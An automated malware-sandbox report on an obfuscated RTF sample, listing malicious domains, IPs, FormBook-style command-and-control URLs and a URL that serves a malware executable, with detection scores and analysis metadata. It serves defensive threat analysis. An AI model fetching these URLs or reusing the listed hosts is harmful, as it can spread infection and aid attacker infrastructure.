http://www.www32561b.com/t2ti/	100%	Avira URL Cloud	malware
http://www.xazeyu.net	0%	Avira URL Cloud	safe
http://www.albertcolet.com	0%	Avira URL Cloud	safe
http://www.fxzx01.icu/t2ti/	100%	Avira URL Cloud	malware
http://www.maquibotanic.com	1%	Virustotal		Browse
http://www.spacecargo.netReferer:	0%	Avira URL Cloud	safe
www.guimisha.com/t2ti/	100%	Avira URL Cloud	malware
http://www.techsterverse.life/t2ti/	100%	Avira URL Cloud	malware
http://www.www32561b.com/t2ti/	2%	Virustotal		Browse
http://www.xazeyu.netReferer:	0%	Avira URL Cloud	safe
http://www.fxzx01.icu/t2ti/	1%	Virustotal		Browse
http://www.shucaimh.com/t2ti/	100%	Avira URL Cloud	malware
http://www.fxzx01.icu/t2ti/www.albertcolet.com	100%	Avira URL Cloud	malware
http://www.xazeyu.net	0%	Virustotal		Browse
http://java.sun.com	0%	Avira URL Cloud	safe
www.guimisha.com/t2ti/	2%	Virustotal		Browse
http://www.techsterverse.life/t2ti/	2%	Virustotal		Browse
http://www.www32561b.com/t2ti/www.spacecargo.net	100%	Avira URL Cloud	malware
http://www.spacecargo.net/t2ti/	100%	Avira URL Cloud	malware
http://java.sun.com	0%	Virustotal		Browse
http://www.albertcolet.comReferer:	0%	Avira URL Cloud	safe
http://www.spacecargo.net/t2ti/	2%	Virustotal		Browse
http://www.janenas.top	0%	Virustotal		Browse
http://www.6061k.vip	0%	Avira URL Cloud	safe
http://www.alishopogolic.comReferer:	0%	Avira URL Cloud	safe
http://www.maquibotanic.comReferer:	0%	Avira URL Cloud	safe
http://www.janenas.top	0%	Avira URL Cloud	safe
http://www.techsterverse.life	0%	Avira URL Cloud	safe
http://www.alishopogolic.com/t2ti/www.maquibotanic.com	100%	Avira URL Cloud	malware
http://www.guimisha.comReferer:	0%	Avira URL Cloud	safe
http://www.allamericanshuttlellc.com/t2ti/www.shucaimh.com	100%	Avira URL Cloud	malware
http://www.michealwilshire.online/t2ti/	100%	Avira URL Cloud	malware
http://www.www32561b.comReferer:	0%	Avira URL Cloud	safe
http://www.ssongg10292.cfd/t2ti/	100%	Avira URL Cloud	malware
http://www.alishopogolic.com	0%	Avira URL Cloud	safe
http://www.fxzx01.icu	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
6061k.vip	3.33.130.190	true	true	0%, Virustotal, Browse	unknown
www.xazeyu.net	103.150.181.71	true	true	0%, Virustotal, Browse	unknown
swamini.in	103.224.247.210	true	true	19%, Virustotal, Browse	unknown
www.shucaimh.com	107.164.111.101	true	true	1%, Virustotal, Browse	unknown
www.allamericanshuttlellc.com	unknown	unknown	true		unknown
www.6061k.vip	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.6061k.vip/t2ti/?ll=NdqLMf&4hO02rc=qDIrkJK7+k7t2cKm0yqLDiQOFM/oPqsB85v8vrvlTOlWprVZbJOF5qoRsr2uTLTXyB6S3g==	true	Avira URL Cloud: malware	unknown
http://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exe	true	Avira URL Cloud: malware	unknown
http://www.shucaimh.com/t2ti/?4hO02rc=giwc8XVj/AkHwdj5caWP9R2rVnZav6a8h1CJcH9em0U/x824OxogtA/AOr9gMChFXFyvXA==&ll=NdqLMf	true	Avira URL Cloud: malware	unknown
https://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exe	true	Avira URL Cloud: malware	unknown
www.guimisha.com/t2ti/	true	2%, Virustotal, Browse Avira URL Cloud: malware	low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.techsterverse.lifeReferer:	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.janenas.top/t2ti/	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	true	1%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://www.albertcolet.com/t2ti/	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.spacecargo.net	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.allamericanshuttlellc.com	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.xazeyu.net/t2ti/	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.hhmhhhbh.xyz	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.maquibotanic.com/t2ti/	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.entrust.net03	EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.hhmhhhbh.xyz/t2ti/www.techsterverse.life	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.xazeyu.net/t2ti/www.fxzx01.icu	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.use	EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com0	explorer.exe, 00000008.00000000.355385878.0000000005E08000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.shucaimh.com/t2ti/www.6061k.vip	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.michealwilshire.onlineReferer:	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.shucaimh.comReferer:	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.michealwilshire.online	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://push.zhanzhang.baidu.com/push.js	explorer.exe, 00000008.00000002.881102573.000000000891F000.00000004.80000000.00040000.00000000.sdmp, cmstp.exe, 00000009.00000002.879666706.000000000293F000.00000004.10000000.00040000.00000000.sdmp	false		high
http://www.janenas.top/t2ti/www.alishopogolic.com	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.www32561b.com	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.guimisha.com	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.allamericanshuttlellc.com/t2ti/	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.6061k.vip/t2ti/	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.albertcolet.com/t2ti/www.guimisha.com	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.6061k.vip/t2ti/www.xazeyu.net	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://swamini.in/	EQNEDT32.EXE, 00000002.00000002.354183793.00000000002E5000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354079033.00000000002E5000.00000004.00000020.00020000.00000000.sdmp	false	14%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.ssongg10292.cfdReferer:	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.techsterverse.life/t2ti/www.www32561b.com	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.guimisha.com/t2ti/www.ssongg10292.cfd	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.hhmhhhbh.xyz/t2ti/	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://www.shucaimh.com	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.fxzx01.icuReferer:	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ssongg10292.cfd	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exeqqC:	EQNEDT32.EXE, 00000002.00000002.354164250.000000000028F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.autoitscript.com/autoit3	explorer.exe, 00000008.00000000.353969269.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.879285316.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.spacecargo.net/t2ti/www.michealwilshire.online	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.alishopogolic.com/t2ti/	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.guimisha.com/t2ti/	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://ocsp.entrust.net0D	EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.hhmhhhbh.xyzReferer:	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exeemC:	EQNEDT32.EXE, 00000002.00000003.353995693.0000000000357000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exej	EQNEDT32.EXE, 00000002.00000002.354164250.000000000028F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.michealwilshire.online/t2ti/www.janenas.top	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.piriform.com/ccleanerxe	explorer.exe, 00000008.00000002.879757216.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.354257988.000000000260E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.allamericanshuttlellc.comReferer:	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.maquibotanic.com	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.entrust.net/server1.crl0	EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.janenas.topReferer:	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6061k.vipReferer:	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.piriform.com/ccleanerhttp://	explorer.exe, 00000008.00000002.880897164.00000000078DF000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.www32561b.com/t2ti/	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://zz.bdstatic.com/linksubmit/push.js	explorer.exe, 00000008.00000002.881102573.000000000891F000.00000004.80000000.00040000.00000000.sdmp, cmstp.exe, 00000009.00000002.879666706.000000000293F000.00000004.10000000.00040000.00000000.sdmp	false		high
http://www.xazeyu.net	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.albertcolet.com	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fxzx01.icu/t2ti/	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.spacecargo.netReferer:	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	EQNEDT32.EXE, 00000002.00000003.353995693.0000000000357000.00000004.00000020.00020000.00000000.sdmp, word.exe, 00000005.00000000.351583902.0000000000409000.00000008.00000001.01000000.00000004.sdmp, word.exe, 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmp, balokarat2.1[1].exe.2.dr, word.exe.2.dr	false		high
http://www.techsterverse.life/t2ti/	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.xazeyu.netReferer:	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.shucaimh.com/t2ti/	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.fxzx01.icu/t2ti/www.albertcolet.com	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://java.sun.com	explorer.exe, 00000008.00000000.353969269.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.879285316.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.www32561b.com/t2ti/www.spacecargo.net	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.spacecargo.net/t2ti/	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_Error	word.exe, word.exe, 00000005.00000000.351583902.0000000000409000.00000008.00000001.01000000.00000004.sdmp, word.exe, 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmp, balokarat2.1[1].exe.2.dr, word.exe.2.dr	false		high
http://www.6061k.vip	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.janenas.top	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	explorer.exe, 00000008.00000000.356321404.0000000007968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.880897164.0000000007997000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.879757216.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.880897164.000000000795D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.354623320.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.356321404.00000000078DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.880167411.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.354257988.000000000260E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.albertcolet.comReferer:	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.alishopogolic.comReferer:	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.maquibotanic.comReferer:	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.techsterverse.life	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.alishopogolic.com/t2ti/www.maquibotanic.com	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.guimisha.comReferer:	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.piriform.com/ccleaner	explorer.exe, 00000008.00000000.356321404.0000000007968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.880897164.0000000007997000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.880897164.00000000078DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.879757216.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.880897164.000000000795D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.354623320.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.356321404.00000000078DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.880167411.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.354257988.000000000260E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.allamericanshuttlellc.com/t2ti/www.shucaimh.com	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.www32561b.comReferer:	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	explorer.exe, 00000008.00000000.353969269.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.879285316.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.michealwilshire.online/t2ti/	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.ssongg10292.cfd/t2ti/	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.alishopogolic.com	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://secure.comodo.com/CPS0	EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fxzx01.icu	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.entrust.net/2048ca.crl0	EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.ssongg10292.cfd/t2ti/www.hhmhhhbh.xyz	explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
103.150.181.71	www.xazeyu.net	unknown	138538	NANBIAN-CNNingboNanbianTuoluoXinxiJishuCoLtdCN	true
3.33.130.190	6061k.vip	United States	8987	AMAZONEXPANSIONGB	true
107.164.111.101	www.shucaimh.com	United States	18779	EGIHOSTINGUS	true
103.224.247.210	swamini.in	India	133295	WEBWERKS-ASWebWerksIndiaPvtLtdIN	true

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1345774
Start date and time:	2023-11-21 13:25:07 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf
Detection:	MAL
Classification:	mal100.troj.expl.evad.winRTF@429/12@5/4
EGA Information:	Successful, ratio: 83.3%
HCA Information:	Successful, ratio: 99% Number of executed functions: 137 Number of non-executed functions: 159
Cookbook Comments:	Found application associated with file extension: .rtf Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer Override analysis time to 80123.9603681394 for current running targets taking high CPU consumption Override analysis time to 160247.920736279 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 8.249.223.254, 8.249.225.254, 8.252.65.254, 8.252.81.126, 8.249.243.254, 72.21.81.240
Excluded domains from analysis (whitelisted): fg.download.windowsupdate.com.c.footprint.net, wu.ec.azureedge.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, wu.azureedge.net
Execution Graph export aborted for target EQNEDT32.EXE, PID 1668 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:25:52	API Interceptor	360x Sleep call for process: EQNEDT32.EXE modified
13:25:58	API Interceptor	29x Sleep call for process: twbcaze.exe modified
13:26:00	API Interceptor	684884x Sleep call for process: explorer.exe modified
13:26:03	API Interceptor	12281021x Sleep call for process: cmstp.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
103.150.181.71	FAT_-_0035.exe	Get hash	malicious	FormBook, NSISDropper	Browse	www.weixinrobots.com/b0y4/?mDKDR=5jOtvl80J6pPfLo&bV2=iWzdtdOUr3WyESEtDtxmXiSYMZp4K2MhDFOUgWW4Xkn4P0jVRWhckfA3XwpZsOG/LFi3
3.33.130.190	Confirma.exe	Get hash	malicious	FormBook	Browse	www.canadiantrafficmanagement.net/he2a/?c6Z=q6al5R7x&9rIdTlI=8QFQCqD9FRlMZfde71PklYjLEob+si+Y9aKcIwfPHn9Ij3TA880ZABCw2tr5vOD0Poxe
	Nuevo_orden_pdf.exe	Get hash	malicious	FormBook	Browse	www.awra.app/m0d5/?3f2t_LnX=hiUfbT9yhpJi+bcQh0jRPY3Wl7eZj/T4te/gMgaWTw1FmjvAcJpk9Hnme9R0LWkJMCKRHAomNg==&cp=YPMlNpnpz
	Payment_$5,860.exe	Get hash	malicious	FormBook, NSISDropper	Browse	www.truepanthersecurity.info/st58/?Cj=fAqS/1aKGrYljxpbu4X6H2aQdB0I7R8hcCOST+4zDPZSvo6QLnJC4z9ezIabo8sXkPtY&Kzr=lHF49jH
	PO#11231270.doc	Get hash	malicious	FormBook	Browse	www.elohiyminfotech.com/pui9/?Ftx=GcObd50+d4jDDNbr1PdCqLXjzhg6LOLbb5/IEp8vuKpL/fluFMlT9AyGIQfRapZ3d1HsnQ==&pFQtB=grvhL8lhxXPp
	ekstre.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.vastfew.com/ay62/?N2MpwJo=GeKgvGHevWBAn+maQ59oXcZbLyVfsEOAUsIdsvGlzObY1CA72B+o44RVxGxsyTu8sw9Z&NN90b=nXLdQB9p1nAdvbPp
	9008654324456.exe	Get hash	malicious	FormBook	Browse	www.thelakahealth.com/ao65/?DlS=gX6nrNea7JPxmwviOkA4KSw4hGBEIcWikOJPOCdqHMmRSxLokgSfXw86lphfVMxxzfue&P2J=0nMX8h7
	cRmu9LROM09hq1F.exe	Get hash	malicious	FormBook	Browse	www.mrsearthphilippines.com/fadc/?ArQ=xR8gpuhlPV8SDnMF1EpA5rnikjCsmPdm8o8xgOC599NS+umfnF8dhOErF6UDZFfmUFFp&-Zv=ahuD9pip12jLJXo
	RFQ-T56797W_1.xlsx	Get hash	malicious	FormBook, NSISDropper	Browse	www.centralngs.com/ge06/?6l58L2=STnFDs3dPiWe372IPmsYuoiBxbI3LvhJSNAXi8QejK8uEGpyoTWx2uWpsN+kECUfI/d5Qw==&BL3=KP-PB41
	Confirmation!!.exe	Get hash	malicious	FormBook	Browse	www.canadiantrafficmanagement.net/he2a/?9rNP-n=8QFQCqCJFxg8EvAqnFPklYjLEob+si+Y9aKcIwfPHn9Ij3TA880ZABCw2t/T6eD3N/xe&2d=K8oTebaH
	Order_QR-00658.exe	Get hash	malicious	FormBook, NSISDropper	Browse	www.riseupwithpaiges.com/st58/?uX=lf5X&TxlL=gUKQ65KeJ5i7Ce2D3FiDlp1E3fkwW/hcbnBIeh92PGVXj7fPNwEFLJ29uF5Ndq/xYSnYssLNHA==
	1451__TrogeShippingSchedule.doc	Get hash	malicious	FormBook	Browse	www.medicalspacelocators.com/fs35/?dv24o=sRK8IkSfsErkPQnlPbO1qZyUPsbwAj+otqHi7ZjosrRYcrfc1O7jF7WWLGWHv2HvZcy8OA==&NtPHFj=MrAxW
	wM34vVyJ6k.exe	Get hash	malicious	FormBook	Browse	www.natsellsatl.com/bp31/
	Quotation.xls	Get hash	malicious	FormBook	Browse	www.lynktag.com/bp31/
	THP-20381508-2023NP.exe	Get hash	malicious	FormBook, NSISDropper	Browse	www.truepanthersecurity.info/st58/?vT=fAqS/1aKGrYljxpbu4X6H2aQdB0I7R8hcCOST+4zDPZSvo6QLnJC4z9ezIaikdAU1fMf&S2M8J8=RdEHspH0oFo8
